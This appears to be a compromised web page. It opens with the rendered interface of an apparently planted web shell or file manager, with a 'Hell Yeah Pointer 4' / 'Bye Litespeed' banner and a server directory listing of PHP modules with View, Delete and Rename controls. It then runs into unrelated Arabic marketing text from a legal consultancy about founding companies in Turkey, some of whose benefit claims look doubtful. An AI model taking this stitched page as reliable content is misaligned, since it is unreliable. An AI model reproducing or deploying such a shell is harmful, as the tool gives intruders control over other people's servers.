Hell Yeah Pointer 4
     __    Bye Litespeed   _____ 
     ██████   ██████ ███████████       █████████  █████   ████ █████   ████           
░░██████ ██████ ░░███░░░░░███     ███░░░░░███░░███   ███░ ░░███   ███░            
 ░███░█████░███  ░███    ░███    ░███    ░░░  ░███  ███    ░███  ███              
 ░███░░███ ░███  ░██████████     ░░█████████  ░███████     ░███████               
 ░███ ░░░  ░███  ░███░░░░░███     ░░░░░░░░███ ░███░░███    ░███░░███              
 ░███      ░███  ░███    ░███     ███    ░███ ░███ ░░███   ░███ ░░███             
 █████     █████ █████   █████   ░░█████████  █████ ░░████ █████ ░░████                        
Zona waktu server: Asia/Riyadh
Waktu server saat ini: 2026-03-02 22:45:07
curdir: / / opt / alt / php81 / usr / lib64 / php / modules / [ GO Home ]


Item Name
Size
Date
Permissions
View
Delete
Rename
. 4096 2026-01-14 04:01:18 0755
.. 4096 2026-01-04 13:16:43 0755
amqp.so 209528 2024-09-02 17:55:38 0755
apcu.so 92232 2024-08-04 19:06:34 0755
bcmath.so 38424 2025-09-30 19:05:21 0755
bitset.so 29184 2025-02-23 08:21:01 0755
brotli.so 740328 2022-04-14 17:44:17 0755
clos_ssa.so 28192 2025-07-02 17:56:09 0755
dba.so 60600 2025-09-30 19:05:21 0755
dbase.so 41920 2024-09-10 19:05:40 0755
diseval.so 12152 2024-12-12 15:01:40 0755
dom.so 203832 2025-09-30 19:05:21 0755
eio.so 108928 2024-05-23 04:45:38 0755
elastic_apm.so 693016 2023-07-05 17:29:21 0755
enchant.so 29832 2025-09-30 19:05:21 0755
ffi.so 176824 2025-09-30 19:05:21 0755
fileinfo.so 7151040 2025-09-30 19:05:21 0755
gd.so 118928 2025-09-30 19:05:21 0755
gearman.so 115576 2025-02-19 13:07:27 0755
gender.so 5888144 2025-06-25 18:53:58 0755
geoip.so 29768 2025-02-25 22:22:38 0755
geos.so 90768 2024-02-21 00:18:36 0755
gmagick.so 298832 2024-07-31 21:23:15 0755
gnupg.so 63688 2024-09-02 17:55:58 0755
grpc.so 10115352 2024-02-22 16:22:22 0755
htscanner.so 20560 2025-02-25 17:46:55 0755
http.so 490768 2025-07-01 19:29:37 0755
i360.so 944936 2025-12-18 11:50:42 0755
igbinary.so 70520 2024-02-16 01:16:35 0755
imagick.so 14757544 2025-06-30 15:38:17 0755
imap.so 109808 2025-09-30 19:05:21 0755
inotify.so 16464 2025-02-25 22:42:04 0755
intl.so 500216 2025-09-30 19:05:21 0755
ioncube_loader.so 2424568 2025-12-02 22:49:40 0755
ixed.8.1.lin 131144 2025-04-23 18:42:24 0755
jsmin.so 25208 2025-02-26 07:29:54 0755
ldap.so 100952 2025-09-30 19:05:21 0755
leveldb.so 46808 2025-02-25 20:19:28 0755
luasandbox.so 92336 2024-07-25 19:05:54 0755
lzf.so 21168 2025-05-14 18:13:56 0755
mailparse.so 63256 2025-05-14 18:11:05 0755
mbstring.so 1086872 2025-09-30 19:05:21 0755
mcrypt.so 50008 2025-05-21 16:30:09 0755
memcache.so 123336 2024-02-22 15:24:39 0755
memcached.so 125000 2024-02-16 06:00:46 0755
mongodb.so 2588096 2024-05-24 23:47:40 0755
msgpack.so 79496 2024-03-20 19:20:22 0755
mysqli.so 178960 2025-08-01 21:57:49 0755
mysqlnd.so 243896 2025-09-30 19:05:21 0755
nd_mysqli.so 164552 2025-09-30 19:05:21 0755
nd_pdo_mysql.so 34248 2025-09-30 19:05:21 0755
newrelic.so 1308016 2025-07-10 14:25:06 0755
oauth.so 101024 2024-09-30 15:42:38 0755
oci8.so 199024 2024-08-23 17:21:54 0755
odbc.so 75752 2025-09-30 19:05:21 0755
opcache.so 1028032 2025-09-30 19:05:21 0755
pdf.so 231880 2024-09-02 17:57:48 0755
pdo.so 130784 2025-09-30 19:05:21 0755
pdo_dblib.so 34232 2025-09-30 19:05:21 0755
pdo_firebird.so 38400 2025-09-30 19:05:21 0755
pdo_mysql.so 41664 2025-08-01 21:57:49 0755
pdo_oci.so 42520 2025-09-30 19:05:21 0755
pdo_odbc.so 34240 2025-09-30 19:05:21 0755
pdo_pgsql.so 55384 2025-09-30 19:05:21 0755
pdo_snowflake.so 9839544 2023-04-10 23:13:19 0755
pdo_sqlite.so 38720 2025-09-30 19:05:21 0755
pdo_sqlsrv.so 374848 2024-10-23 20:34:26 0755
pgsql.so 160264 2025-09-30 19:05:21 0755
phalcon5.so 7179096 2025-06-17 02:59:58 0755
phar.so 288704 2025-09-30 19:05:21 0755
phpiredis.so 100840 2023-05-18 16:43:00 0755
posix.so 42392 2025-09-30 19:05:21 0755
protobuf.so 432544 2024-07-12 14:50:32 0755
pspell.so 29536 2025-09-30 19:05:21 0755
psr.so 59616 2025-05-21 21:36:21 0755
raphf.so 24792 2024-07-10 15:21:03 0755
rar.so 339104 2024-03-18 16:33:11 0755
redis.so 675528 2024-04-15 15:55:49 0755
rrd.so 42728 2024-07-31 18:00:45 0755
scoutapm.so 46920 2024-01-31 18:56:46 0755
snmp.so 67440 2025-09-30 19:05:21 0755
snuffleupagus.so 154680 2024-12-09 15:04:13 0755
soap.so 338208 2025-09-30 19:05:21 0755
sockets.so 105872 2025-09-30 19:05:21 0755
sodium.so 110600 2025-09-30 19:05:21 0755
solr.so 345680 2024-06-14 20:56:32 0755
sqlsrv.so 367128 2024-10-23 20:34:26 0755
ssh2.so 89512 2025-05-29 16:30:23 0755
stats.so 188120 2024-08-21 23:50:05 0755
swoole.so 3046808 2025-03-12 16:36:20 0755
sysvmsg.so 21184 2025-09-30 19:05:21 0755
sysvsem.so 16872 2025-09-30 19:05:21 0755
sysvshm.so 21120 2025-09-30 19:05:21 0755
tideways_xhprof.so 33384 2025-04-22 21:04:12 0755
tidy.so 63648 2025-09-30 19:05:21 0755
timezonedb.so 753392 2025-01-15 17:19:16 0755
trader.so 813312 2024-05-20 21:49:50 0755
uploadprogress.so 16472 2024-01-31 20:23:35 0755
uuid.so 20728 2024-03-06 18:51:46 0755
vips.so 53520 2025-05-28 18:45:31 0755
vld.so 45704 2023-03-26 15:54:35 0755
xdebug.so 405432 2024-03-27 19:35:38 0755
xdiff.so 66768 2025-05-23 05:27:26 0755
xmlreader.so 42472 2025-09-30 19:05:21 0755
xmlrpc.so 104664 2024-05-24 15:44:52 0755
xmlwriter.so 50496 2025-09-30 19:05:21 0755
xray.so 88200 2025-10-20 15:05:11 0755
xsl.so 38552 2025-09-30 19:05:21 0755
yaf.so 287440 2025-05-29 16:18:45 0755
yaml.so 54552 2024-07-19 14:15:09 0755
yaz.so 59000 2024-05-23 17:01:40 0755
zip.so 85312 2025-09-30 19:05:21 0755
zmq.so 97432 2024-07-31 21:40:14 0755
مجموعة كريم - الشركات

الخدمات

تأسيس الشركات في تركيا

الكثير من التجار عندما يُفكرون بفتح شركة في تركية يرون أنه أمر في غاية الصعوبة ويحتاج الكثير من الأوراق ولكن مجموعة كريم للاستشارات القانونية تستطيع تسهيل جميع المستندات المطلوبة من الحكومة التركية ولنتعرف على أنواع تأسيس الشركات في تركيا.

عند البدء في تأسيس شركة في تركيا يجب تحديد نوع الشركة المراد تأسيسها، حيث أن هناك عدة أنواع من الشركات تختلف باختلاف حجم الشركة ومسؤولياتها، وهي كالتالي:

  1. شركات ذات مسؤولية محدودة:

هذا النوع من الشركات لأصحاب الأعمال الصغيرة والمتوسطة ولتأسيس هذا النوع من الشركات، من الضروري وجود شخص واحد على الأقل من المؤسسين.

ويكون الحد الأدنى لرأس مال الشركة 10000 ليرة تركية للفرد و12500 ليرة تركية لشخصين.

 

  1. شركات المساهمة:

ينقسم رأس مال الشركة إلى عدة أسهم يتم توزيعها على المساهمين.

يتطلب تأسيس هذا النوع من الشركات وجود خمسة مساهمين على الأقل.

الحد الأدنى لرأس مال الشركة 50،000 ليرة تركية.

يمكن للشركات العامة المحدودة القيام بأي نوع من الأنشطة التجارية والصناعية التي يسمح بها القانون التركي.

 

  1. شركات توصية بسيطة:

تأسست هذه الشركة لتشغيل مشروع تجاري تحت اسم تجاري محدد التمويل وهو فقط من المؤسسات القانونية.

لا يوجد حد أدنى لرأس المال المطلوب.

تقتصر مسؤولية أي من المساهمين على رأس المال المكتتب به والمدفوع من قبل المساهمين.

وتحدد لوائح حقوق المساهمين والتزاماتهم.

مزايا تأسيس شركة في تركيا:

عند قيامك بتأسيس شركة في تركيا تحصل على المزايا التالية:

  • سوق مصنّف من بين أفضل 20 سوقا اقتصادياً في العالم ويتمتع بقوة شرائية كبيرة.
  • سهولة تسويق منتجك أو خدماتك داخل الاتحاد الأوروبي او في الشرق الاوسط.
  • سهولة عملية التصدير لأن الحكومة التركية تعفي الصادرات من أي ضرائب الاستثمارية في تركيا.
  • تأمين طبي لك ولعائلتك مع علاج مجاني في جميع مستشفيات الدولة.
  • المدارس والجامعات مجانية لأفراد عائلتك.
  • الضمان الاجتماعي، وهو مبلغ تمنحه الحكومة التركية في حالة إغلاق شركتك أو خسارتها، لكن يجب أن تظل الشركة سارية المفعول لمدة عامين على الأقل وألا تنشئ شركة وهمية.
  • الحصول على بطاقة التاجر في تركيا، والتي تتيح لك الحصول على جميع المعلومات حول المناقصات والمعارض في الدولة.

هناك العديد من المزايا التي ستحصل عليها من خلال تأسيس شركة في تركيا ويمكنك الاستفادة من جميع العروض التي تقدمها مجموعة كريم للاستشارات القانونية ويمكننا توفير جميع الأوراق من ترجمة إلى التقديم حتى الانتهاء من تأسيس الشركة فقط قم بالتواصل معنا على الرقم

Shape